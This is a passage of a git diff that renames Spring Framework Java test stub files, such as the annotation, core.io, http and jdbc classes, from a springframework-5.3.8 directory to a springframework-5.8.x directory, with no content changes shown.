rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/MessageSourceResolvable.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/MessageSourceResolvable.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/AnnotationScopeMetadataResolver.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/AnnotationScopeMetadataResolver.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/AnnotationScopeMetadataResolver.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/AnnotationScopeMetadataResolver.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/Bean.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/Bean.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/Bean.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/Bean.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ComponentScan.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ComponentScan.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ComponentScan.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ComponentScan.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ComponentScans.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ComponentScans.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ComponentScans.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ComponentScans.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/Condition.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/Condition.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/Condition.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/Condition.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ConditionContext.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ConditionContext.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ConditionContext.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ConditionContext.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/Conditional.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/Conditional.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/Conditional.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/Conditional.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/Configuration.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/Configuration.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/Configuration.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/Configuration.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/FilterType.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/FilterType.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/FilterType.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/FilterType.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/Profile.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/Profile.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/Profile.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/Profile.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ProfileCondition.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ProfileCondition.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ProfileCondition.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ProfileCondition.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ScopeMetadata.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ScopeMetadata.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ScopeMetadata.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ScopeMetadata.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ScopeMetadataResolver.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ScopeMetadataResolver.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ScopeMetadataResolver.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ScopeMetadataResolver.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ScopedProxyMode.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ScopedProxyMode.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/annotation/ScopedProxyMode.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/annotation/ScopedProxyMode.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/support/AbstractMessageSource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/support/AbstractMessageSource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/support/AbstractMessageSource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/support/AbstractMessageSource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/support/DefaultMessageSourceResolvable.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/support/DefaultMessageSourceResolvable.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/support/DefaultMessageSourceResolvable.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/support/DefaultMessageSourceResolvable.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/support/MessageSourceSupport.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/support/MessageSourceSupport.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/support/MessageSourceSupport.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/support/MessageSourceSupport.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/context/support/StaticMessageSource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/context/support/StaticMessageSource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/context/support/StaticMessageSource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/context/support/StaticMessageSource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/AliasRegistry.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/AliasRegistry.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/AliasRegistry.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/AliasRegistry.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/NestedRuntimeException.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/NestedRuntimeException.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/NestedRuntimeException.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/NestedRuntimeException.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/ParameterizedTypeReference.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/ParameterizedTypeReference.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/ParameterizedTypeReference.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/ParameterizedTypeReference.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/ResolvableType.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/ResolvableType.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/ResolvableType.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/ResolvableType.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/annotation/AliasFor.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/annotation/AliasFor.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/annotation/AliasFor.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/annotation/AliasFor.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/env/EnvironmentCapable.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/env/EnvironmentCapable.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/env/EnvironmentCapable.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/env/EnvironmentCapable.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/AbstractFileResolvingResource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/AbstractFileResolvingResource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/AbstractFileResolvingResource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/AbstractFileResolvingResource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/AbstractResource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/AbstractResource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/AbstractResource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/AbstractResource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/ClassPathResource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/ClassPathResource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/ClassPathResource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/ClassPathResource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/FileSystemResource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/FileSystemResource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/FileSystemResource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/FileSystemResource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/FileUrlResource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/FileUrlResource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/FileUrlResource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/FileUrlResource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/InputStreamSource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/InputStreamSource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/InputStreamSource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/InputStreamSource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/PathResource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/PathResource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/PathResource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/PathResource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/Resource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/Resource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/Resource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/Resource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/ResourceLoader.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/ResourceLoader.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/ResourceLoader.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/ResourceLoader.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/UrlResource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/UrlResource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/UrlResource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/UrlResource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/WritableResource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/WritableResource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/WritableResource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/WritableResource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/support/ResourcePatternResolver.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/support/ResourcePatternResolver.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/support/ResourcePatternResolver.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/support/ResourcePatternResolver.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/support/ResourceRegion.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/support/ResourceRegion.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/io/support/ResourceRegion.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/io/support/ResourceRegion.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/core/type/AnnotatedTypeMetadata.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/core/type/AnnotatedTypeMetadata.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/core/type/AnnotatedTypeMetadata.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/core/type/AnnotatedTypeMetadata.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/dao/DataAccessException.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/dao/DataAccessException.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/dao/DataAccessException.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/dao/DataAccessException.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/data/domain/Pageable.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/data/domain/Pageable.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/data/domain/Pageable.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/data/domain/Pageable.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/data/domain/Sort.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/data/domain/Sort.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/data/domain/Sort.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/data/domain/Sort.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/data/util/MethodInvocationRecorder.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/data/util/MethodInvocationRecorder.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/data/util/MethodInvocationRecorder.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/data/util/MethodInvocationRecorder.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/data/util/Streamable.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/data/util/Streamable.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/data/util/Streamable.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/data/util/Streamable.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/EvaluationContext.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/EvaluationContext.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/EvaluationContext.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/EvaluationContext.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/EvaluationException.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/EvaluationException.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/EvaluationException.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/EvaluationException.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/Expression.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/Expression.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/Expression.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/Expression.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/ExpressionException.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/ExpressionException.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/ExpressionException.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/ExpressionException.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/ExpressionParser.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/ExpressionParser.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/ExpressionParser.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/ExpressionParser.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/ParseException.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/ParseException.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/ParseException.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/ParseException.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/ParserContext.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/ParserContext.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/ParserContext.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/ParserContext.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/common/TemplateAwareExpressionParser.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/common/TemplateAwareExpressionParser.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/common/TemplateAwareExpressionParser.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/common/TemplateAwareExpressionParser.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/spel/standard/SpelExpression.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/spel/standard/SpelExpression.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/spel/standard/SpelExpression.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/spel/standard/SpelExpression.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/spel/standard/SpelExpressionParser.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/spel/standard/SpelExpressionParser.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/spel/standard/SpelExpressionParser.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/spel/standard/SpelExpressionParser.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/spel/support/SimpleEvaluationContext.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/spel/support/SimpleEvaluationContext.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/spel/support/SimpleEvaluationContext.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/spel/support/SimpleEvaluationContext.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/spel/support/StandardEvaluationContext.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/spel/support/StandardEvaluationContext.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/expression/spel/support/StandardEvaluationContext.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/expression/spel/support/StandardEvaluationContext.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/CacheControl.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/CacheControl.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/CacheControl.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/CacheControl.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/ContentDisposition.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/ContentDisposition.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/ContentDisposition.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/ContentDisposition.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpEntity.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpEntity.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpEntity.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpEntity.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpHeaders.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpHeaders.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpHeaders.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpHeaders.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpMessage.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpMessage.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpMessage.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpMessage.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpMethod.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpMethod.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpMethod.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpMethod.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpRange.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpRange.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpRange.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpRange.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpRequest.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpRequest.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpRequest.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpRequest.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpStatus.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpStatus.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/HttpStatus.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/HttpStatus.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/MediaType.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/MediaType.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/MediaType.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/MediaType.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/RequestEntity.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/RequestEntity.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/RequestEntity.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/RequestEntity.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/ResponseEntity.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/ResponseEntity.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/ResponseEntity.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/ResponseEntity.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/client/ClientHttpResponse.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/client/ClientHttpResponse.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/client/ClientHttpResponse.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/client/ClientHttpResponse.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/server/PathContainer.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/server/PathContainer.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/server/PathContainer.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/server/PathContainer.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/http/server/RequestPath.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/http/server/RequestPath.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/http/server/RequestPath.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/http/server/RequestPath.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/BatchPreparedStatementSetter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/BatchPreparedStatementSetter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/BatchPreparedStatementSetter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/BatchPreparedStatementSetter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/CallableStatementCallback.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/CallableStatementCallback.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/CallableStatementCallback.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/CallableStatementCallback.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/CallableStatementCreator.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/CallableStatementCreator.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/CallableStatementCreator.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/CallableStatementCreator.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/ConnectionCallback.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/ConnectionCallback.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/ConnectionCallback.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/ConnectionCallback.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/JdbcOperations.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/JdbcOperations.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/JdbcOperations.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/JdbcOperations.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/JdbcTemplate.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/JdbcTemplate.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/JdbcTemplate.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/JdbcTemplate.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/ParameterizedPreparedStatementSetter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/ParameterizedPreparedStatementSetter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/ParameterizedPreparedStatementSetter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/ParameterizedPreparedStatementSetter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/PreparedStatementCallback.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/PreparedStatementCallback.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/PreparedStatementCallback.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/PreparedStatementCallback.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/PreparedStatementCreator.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/PreparedStatementCreator.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/PreparedStatementCreator.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/PreparedStatementCreator.java
